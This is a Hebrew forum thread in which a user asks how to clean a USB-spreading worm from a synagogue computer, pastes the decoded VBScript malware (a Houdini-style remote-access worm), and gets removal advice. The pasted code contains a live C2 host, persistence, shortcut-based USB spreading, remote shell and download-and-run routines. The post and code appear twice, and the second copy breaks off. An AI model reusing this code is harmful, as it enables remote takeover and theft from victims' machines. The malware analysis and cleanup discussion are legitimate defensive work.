בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי
-
בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:
cmd /c hrxxryydxo.vbs && start explorer [file name]הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.
לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.
תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.
לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:
z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
לאחר פיענוח הקידוד התקבל הקוד הבא:
אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.e '<[ recoder : houdini (c) skype : houdini-fx ]> '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-= host = "khattab.no-ip.biz" port = 5550 installdir = "%temp%" lnkfile = true lnkfolder = true '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-= dim shellobj set shellobj = wscript.createobject("wscript.shell") dim filesystemobj set filesystemobj = createobject("scripting.filesystemobject") dim httpobj set httpobj = createobject("msxml2.xmlhttp") '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-= installname = wscript.scriptname startup = shellobj.specialfolders ("startup") & "\" installdir = shellobj.expandenvironmentstrings(installdir) & "\" if not filesystemobj.folderexists(installdir) then installdir = shellobj.expandenvironmentstrings("%temp%") & "\" spliter = "<" & "|" & ">" sleep = 5000 dim response dim cmd dim param info = "" usbspreading = "" startdate = "" dim oneonce '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-= on error resume next instance while true install response = "" response = post ("is-ready","") cmd = split (response,spliter) select case cmd (0) case "excecute" param = cmd (1) execute param case "update" param = cmd (1) oneonce.close set oneonce = filesystemobj.opentextfile (installdir & installname ,2, false) oneonce.write param oneonce.close shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34) wscript.quit case "uninstall" uninstall case "send" download cmd (1),cmd (2) case "site-send" sitedownloader cmd (1),cmd (2) case "recv" param = cmd (1) upload (param) case "enum-driver" post "is-enum-driver",enumdriver case "enum-faf" param = cmd (1) post "is-enum-faf",enumfaf (param) case "enum-process" post "is-enum-process",enumprocess case "cmd-shell" param = cmd (1) post "is-cmd-shell",cmdshell (param) case "delete" param = cmd (1) deletefaf (param) case "exit-process" param = cmd (1) exitprocess (param) case "sleep" param = cmd (1) sleep = eval (param) end select wscript.sleep sleep wend sub install on error resume next dim lnkobj dim filename dim foldername dim fileicon dim foldericon upstart for each drive in filesystemobj.drives if drive.isready = true then if drive.freespace > 0 then if drive.drivetype = 1 then filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true if filesystemobj.fileexists (drive.path & "\" & installname) then filesystemobj.getfile(drive.path & "\" & installname).attributes = 2+4 end if for each file in filesystemobj.getfolder( drive.path & "\" ).Files if not lnkfile then exit for if instr (file.name,".") then if lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then file.attributes = 2+4 if ucase (file.name) <> ucase (installname) then filename = split(file.name,".") set lnkobj = shellobj.createshortcut (drive.path & "\" & filename (0) & ".lnk") lnkobj.windowstyle = 7 lnkobj.targetpath = "cmd.exe" lnkobj.workingdirectory = "" lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit" fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") if instr (fileicon,",") = 0 then lnkobj.iconlocation = file.path else lnkobj.iconlocation = fileicon end if lnkobj.save() end if end if end if next for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders if not lnkfolder then exit for folder.attributes = 2+4 foldername = folder.name set lnkobj = shellobj.createshortcut (drive.path & "\" & foldername & ".lnk") lnkobj.windowstyle = 7 lnkobj.targetpath = "cmd.exe" lnkobj.workingdirectory = "" lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit" foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") if instr (foldericon,",") = 0 then lnkobj.iconlocation = folder.path else lnkobj.iconlocation = foldericon end if lnkobj.save() next end If end If end if next err.clear end sub sub uninstall on error resume next dim filename dim foldername shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0) shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0) filesystemobj.deletefile startup & installname ,true filesystemobj.deletefile wscript.scriptfullname ,true for each drive in filesystemobj.drives if drive.isready = true then if drive.freespace > 0 then if drive.drivetype = 1 then for each file in filesystemobj.getfolder ( drive.path & "\").files on error resume next if instr (file.name,".") then if lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then file.attributes = 0 if ucase (file.name) <> ucase (installname) then filename = split(file.name,".") filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" ) else filesystemobj.deletefile (drive.path & "\" & file.name) end If else filesystemobj.deletefile (file.path) end if end if next for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders folder.attributes = 0 next end if end if end if next wscript.quit end sub function post (cmd ,param) post = param httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false httpobj.setrequestheader "user-agent:",information httpobj.send param post = httpobj.responsetext end function function information on error resume next if inf = "" then inf = hwid & spliter inf = inf & shellobj.expandenvironmentstrings("%computername%") & spliter inf = inf & shellobj.expandenvironmentstrings("%username%") & spliter set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") set os = root.execquery ("select * from win32_operatingsystem") for each osinfo in os inf = inf & osinfo.caption & spliter exit for next inf = inf & "plus" & spliter inf = inf & security & spliter inf = inf & usbspreading information = inf else information = inf end if end function sub upstart () on error resume Next shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0), "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ" shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0), "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ" filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true end sub function hwid on error resume next set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") set disks = root.execquery ("select * from win32_logicaldisk") for each disk in disks if disk.volumeserialnumber <> "" then hwid = disk.volumeserialnumber exit for end if next end function function security on error resume next security = "" set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48) for each objitem in colitems versionstr = split (objitem.version,".") next versionstr = split (colitems.version,".") osversion = versionstr (0) & "." for x = 1 to ubound (versionstr) osversion = osversion & versionstr (i) next osversion = eval (osversion) if osversion > 6 then sc = "securitycenter2" else sc = "securitycenter" set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc) Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0) for each objantivirus in colantivirus security = security & objantivirus.displayname & " ." next if security = "" then security = "nan-av" end function function instance on error resume next usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\") if usbspreading = "" then if lcase ( mid(wscript.scriptfullname,2)) = ":\" & lcase(installname) then usbspreading = "true - " & date shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\", usbspreading, "REG_SZ" else usbspreading = "false - " & date shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\", usbspreading, "REG_SZ" end if end If upstart set scriptfullnameshort = filesystemobj.getfile (wscript.scriptfullname) set installfullnameshort = filesystemobj.getfile (installdir & installname) if lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34) wscript.quit end If err.clear set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false) if err.number > 0 then wscript.quit end function sub sitedownloader (fileurl,filename) strlink = fileurl strsaveto = installdir & filename set objhttpdownload = createobject("msxml2.xmlhttp" ) objhttpdownload.open "get", strlink, false objhttpdownload.send set objfsodownload = createobject ("scripting.filesystemobject") if objfsodownload.fileexists (strsaveto) then objfsodownload.deletefile (strsaveto) end if if objhttpdownload.status = 200 then dim objstreamdownload set objstreamdownload = createobject("adodb.stream") with objstreamdownload .type = 1 .open .write objhttpdownload.responsebody .savetofile strsaveto .close end with set objstreamdownload = nothing end if if objfsodownload.fileexists(strsaveto) then shellobj.run objfsodownload.getfile (strsaveto).shortpath end if end sub sub download (fileurl,filedir) if filedir = "" then filedir = installdir end if strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1) set objhttpdownload = createobject("msxml2.xmlhttp") objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false objhttpdownload.send "" set objfsodownload = createobject ("scripting.filesystemobject") if objfsodownload.fileexists (strsaveto) then objfsodownload.deletefile (strsaveto) end if if objhttpdownload.status = 200 then dim objstreamdownload set objstreamdownload = createobject("adodb.stream") with objstreamdownload .type = 1 .open .write objhttpdownload.responsebody .savetofile strsaveto .close end with set objstreamdownload = nothing end if if objfsodownload.fileexists(strsaveto) then shellobj.run objfsodownload.getfile (strsaveto).shortpath end if end sub function upload (fileurl) dim httpobj,objstreamuploade,buffer set objstreamuploade = createobject("adodb.stream") with objstreamuploade .type = 1 .open .loadfromfile fileurl buffer = .read .close end with set objstreamdownload = nothing set httpobj = createobject("msxml2.xmlhttp") httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false httpobj.send buffer end function function enumdriver () for each drive in filesystemobj.drives if drive.isready = true then enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter end if next end Function function enumfaf (enumdir) enumfaf = enumdir & spliter for each folder in filesystemobj.getfolder (enumdir).subfolders enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter next for each file in filesystemobj.getfolder (enumdir).files enumfaf = enumfaf & file.name & "|" & file.size & "|" & "f" & "|" & file.attributes & spliter next end function function enumprocess () on error resume next set objwmiservice = getobject("winmgmts:\\.\root\cimv2") set colitems = objwmiservice.execquery("select * from win32_process",,48) dim objitem for each objitem in colitems enumprocess = enumprocess & objitem.name & "|" enumprocess = enumprocess & objitem.processid & "|" enumprocess = enumprocess & objitem.executablepath & spliter next end function sub exitprocess (pid) on error resume next shellobj.run "taskkill /F /T /PID " & pid,7,true end sub sub deletefaf (url) on error resume next filesystemobj.deletefile url filesystemobj.deletefolder url end sub function cmdshell (cmd) dim httpobj,oexec,readallfromany set oexec = shellobj.exec ("%comspec% /c " & cmd) if not oexec.stdout.atendofstream then readallfromany = oexec.stdout.readall elseif not oexec.stderr.atendofstream then readallfromany = oexec.stderr.readall else readallfromany = "" end if cmdshell = readallfromany end function -
השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.
גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.
@cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?
@רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:
האם תוכנה זו לא תזוהה שוב כזדונית לנצח?
היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה
-
@רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:
האם תוכנה זו לא תזוהה שוב כזדונית לנצח?
היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה
-
@מתכנת-חובב
השאלה היא אם הקוד הנוכחי אכן עושה זאת.
כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.@תלמידהון
כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב. -
@מתכנת-חובב
השאלה היא אם הקוד הנוכחי אכן עושה זאת.
כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.@תלמידהון
כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.@רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:
השאלה היא אם הקוד הנוכחי אכן עושה זאת.
בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו) -
@רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:
השאלה היא אם הקוד הנוכחי אכן עושה זאת.
בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)@מתכנת-חובב
תהיה מוכן להסביר לי איך אני מכבה VBS?זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?
-
@מתכנת-חובב
תהיה מוכן להסביר לי איך אני מכבה VBS?זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?
-
בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:
cmd /c hrxxryydxo.vbs && start explorer [file name]הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.
לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.
תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.
לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:
z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
לאחר פיענוח הקידוד התקבל הקוד הבא:
אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.e '<[ recoder : houdini (c) skype : houdini-fx ]> '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-= host = "khattab.no-ip.biz" port = 5550 installdir = "%temp%" lnkfile = true lnkfolder = true '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-= dim shellobj set shellobj = wscript.createobject("wscript.shell") dim filesystemobj set filesystemobj = createobject("scripting.filesystemobject") dim httpobj set httpobj = createobject("msxml2.xmlhttp") '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-= installname = wscript.scriptname startup = shellobj.specialfolders ("startup") & "\" installdir = shellobj.expandenvironmentstrings(installdir) & "\" if not filesystemobj.folderexists(installdir) then installdir = shellobj.expandenvironmentstrings("%temp%") & "\" spliter = "<" & "|" & ">" sleep = 5000 dim response dim cmd dim param info = "" usbspreading = "" startdate = "" dim oneonce '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-= on error resume next instance while true install response = "" response = post ("is-ready","") cmd = split (response,spliter) select case cmd (0) case "excecute" param = cmd (1) execute param case "update" param = cmd (1) oneonce.close set oneonce = filesystemobj.opentextfile (installdir & installname ,2, false) oneonce.write param oneonce.close shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34) wscript.quit case "uninstall" uninstall case "send" download cmd (1),cmd (2) case "site-send" sitedownloader cmd (1),cmd (2) case "recv" param = cmd (1) upload (param) case "enum-driver" post "is-enum-driver",enumdriver case "enum-faf" param = cmd (1) post "is-enum-faf",enumfaf (param) case "enum-process" post "is-enum-process",enumprocess case "cmd-shell" param = cmd (1) post "is-cmd-shell",cmdshell (param) case "delete" param = cmd (1) deletefaf (param) case "exit-process" param = cmd (1) exitprocess (param) case "sleep" param = cmd (1) sleep = eval (param) end select wscript.sleep sleep wend sub install on error resume next dim lnkobj dim filename dim foldername dim fileicon dim foldericon upstart for each drive in filesystemobj.drives if drive.isready = true then if drive.freespace > 0 then if drive.drivetype = 1 then filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true if filesystemobj.fileexists (drive.path & "\" & installname) then filesystemobj.getfile(drive.path & "\" & installname).attributes = 2+4 end if for each file in filesystemobj.getfolder( drive.path & "\" ).Files if not lnkfile then exit for if instr (file.name,".") then if lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then file.attributes = 2+4 if ucase (file.name) <> ucase (installname) then filename = split(file.name,".") set lnkobj = shellobj.createshortcut (drive.path & "\" & filename (0) & ".lnk") lnkobj.windowstyle = 7 lnkobj.targetpath = "cmd.exe" lnkobj.workingdirectory = "" lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit" fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") if instr (fileicon,",") = 0 then lnkobj.iconlocation = file.path else lnkobj.iconlocation = fileicon end if lnkobj.save() end if end if end if next for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders if not lnkfolder then exit for folder.attributes = 2+4 foldername = folder.name set lnkobj = shellobj.createshortcut (drive.path & "\" & foldername & ".lnk") lnkobj.windowstyle = 7 lnkobj.targetpath = "cmd.exe" lnkobj.workingdirectory = "" lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit" foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") if instr (foldericon,",") = 0 then lnkobj.iconlocation = folder.path else lnkobj.iconlocation = foldericon end if lnkobj.save() next end If end If end if next err.clear end sub sub uninstall on error resume next dim filename dim foldername shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0) shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0) filesystemobj.deletefile startup & installname ,true filesystemobj.deletefile wscript.scriptfullname ,true for each drive in filesystemobj.drives if drive.isready = true then if drive.freespace > 0 then if drive.drivetype = 1 then for each file in filesystemobj.getfolder ( drive.path & "\").files on error resume next if instr (file.name,".") then if lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then file.attributes = 0 if ucase (file.name) <> ucase (installname) then filename = split(file.name,".") filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" ) else filesystemobj.deletefile (drive.path & "\" & file.name) end If else filesystemobj.deletefile (file.path) end if end if next for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders folder.attributes = 0 next end if end if end if next wscript.quit end sub function post (cmd ,param) post = param httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false httpobj.setrequestheader "user-agent:",information httpobj.send param post = httpobj.responsetext end function function information on error resume next if inf = "" then inf = hwid & spliter inf = inf & shellobj.expandenvironmentstrings("%computername%") & spliter inf = inf & shellobj.expandenvironmentstrings("%username%") & spliter set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") set os = root.execquery ("select * from win32_operatingsystem") for each osinfo in os inf = inf & osinfo.caption & spliter exit for next inf = inf & "plus" & spliter inf = inf & security & spliter inf = inf & usbspreading information = inf else information = inf end if end function sub upstart () on error resume Next shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0), "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ" shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0), "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ" filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true end sub function hwid on error resume next set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") set disks = root.execquery ("select * from win32_logicaldisk") for each disk in disks if disk.volumeserialnumber <> "" then hwid = disk.volumeserialnumber exit for end if next end function function security on error resume next security = "" set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48) for each objitem in colitems versionstr = split (objitem.version,".") next versionstr = split (colitems.version,".") osversion = versionstr (0) & "." for x = 1 to ubound (versionstr) osversion = osversion & versionstr (i) next osversion = eval (osversion) if osversion > 6 then sc = "securitycenter2" else sc = "securitycenter" set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc) Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0) for each objantivirus in colantivirus security = security & objantivirus.displayname & " ." next if security = "" then security = "nan-av" end function function instance on error resume next usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\") if usbspreading = "" then if lcase ( mid(wscript.scriptfullname,2)) = ":\" & lcase(installname) then usbspreading = "true - " & date shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\", usbspreading, "REG_SZ" else usbspreading = "false - " & date shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\", usbspreading, "REG_SZ" end if end If upstart set scriptfullnameshort = filesystemobj.getfile (wscript.scriptfullname) set installfullnameshort = filesystemobj.getfile (installdir & installname) if lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34) wscript.quit end If err.clear set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false) if err.number > 0 then wscript.quit end function sub sitedownloader (fileurl,filename) strlink = fileurl strsaveto = installdir & filename set objhttpdownload = createobject("msxml2.xmlhttp" ) objhttpdownload.open "get", strlink, false objhttpdownload.send set objfsodownload = createobject ("scripting.filesystemobject") if objfsodownload.fileexists (strsaveto) then objfsodownload.deletefile (strsaveto) end if if objhttpdownload.status = 200 then dim objstreamdownload set objstreamdownload = createobject("adodb.stream") with objstreamdownload .type = 1 .open .write objhttpdownload.responsebody .savetofile strsaveto .close end with set objstreamdownload = nothing end if if objfsodownload.fileexists(strsaveto) then shellobj.run objfsodownload.getfile (strsaveto).shortpath end if end sub sub download (fileurl,filedir) if filedir = "" then filedir = installdir end if strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1) set objhttpdownload = createobject("msxml2.xmlhttp") objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false objhttpdownload.send "" set objfsodownload = createobject ("scripting.filesystemobject") if objfsodownload.fileexists (strsaveto) then objfsodownload.deletefile (strsaveto) end if if objhttpdownload.status = 200 then dim objstreamdownload set objstreamdownload = createobject("adodb.stream") with objstreamdownload .type = 1 .open .write objhttpdownload.responsebody .savetofile strsaveto .close end with set objstreamdownload = nothing end if if objfsodownload.fileexists(strsaveto) then shellobj.run objfsodownload.getfile (strsaveto).shortpath end if end sub function upload (fileurl) dim httpobj,objstreamuploade,buffer set objstreamuploade = createobject("adodb.stream") with objstreamuploade .type = 1 .open .loadfromfile fileurl buffer = .read .close end with set objstreamdownload = nothing set httpobj = createobject("msxml2.xmlhttp") httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false httpobj.send buffer end function function enumdriver () for each drive in filesystemobj.drives if drive.isready = true then enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter end if next end Function function enumfaf (enumdir) enumfaf = enumdir & spliter for each folder in filesystemobj.getfolder (enumdir).subfolders enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter next for each file in filesystemobj.getfolder (enumdir).files enumfaf = enumfaf & file.name & "|" & file.size & "|" & "f" & "|" & file.attributes & spliter next end function function enumprocess () on error resume next set objwmiservice = getobject("winmgmts:\\.\root\cimv2") set colitems = objwmiservice.execquery("select * from win32_process",,48) dim objitem for each objitem in colitems enumprocess = enumprocess & objitem.name & "|" enumprocess = enumprocess & objitem.processid & "|" enumprocess = enumprocess & objitem.executablepath & spliter next end function sub exitprocess (pid) on error resume next shellobj.run "taskkill /F /T /PID " & pid,7,true end sub sub deletefaf (url) on error resume next filesystemobj.deletefile url filesystemobj.deletefolder url end sub function cmdshell (cmd) dim httpobj,oexec,readallfromany set oexec = shellobj.exec ("%comspec% /c " & cmd) if not oexec.stdout.atendofstream then readallfromany = oexec.stdout.readall elseif not oexec.stderr.atendofstream then readallfromany = 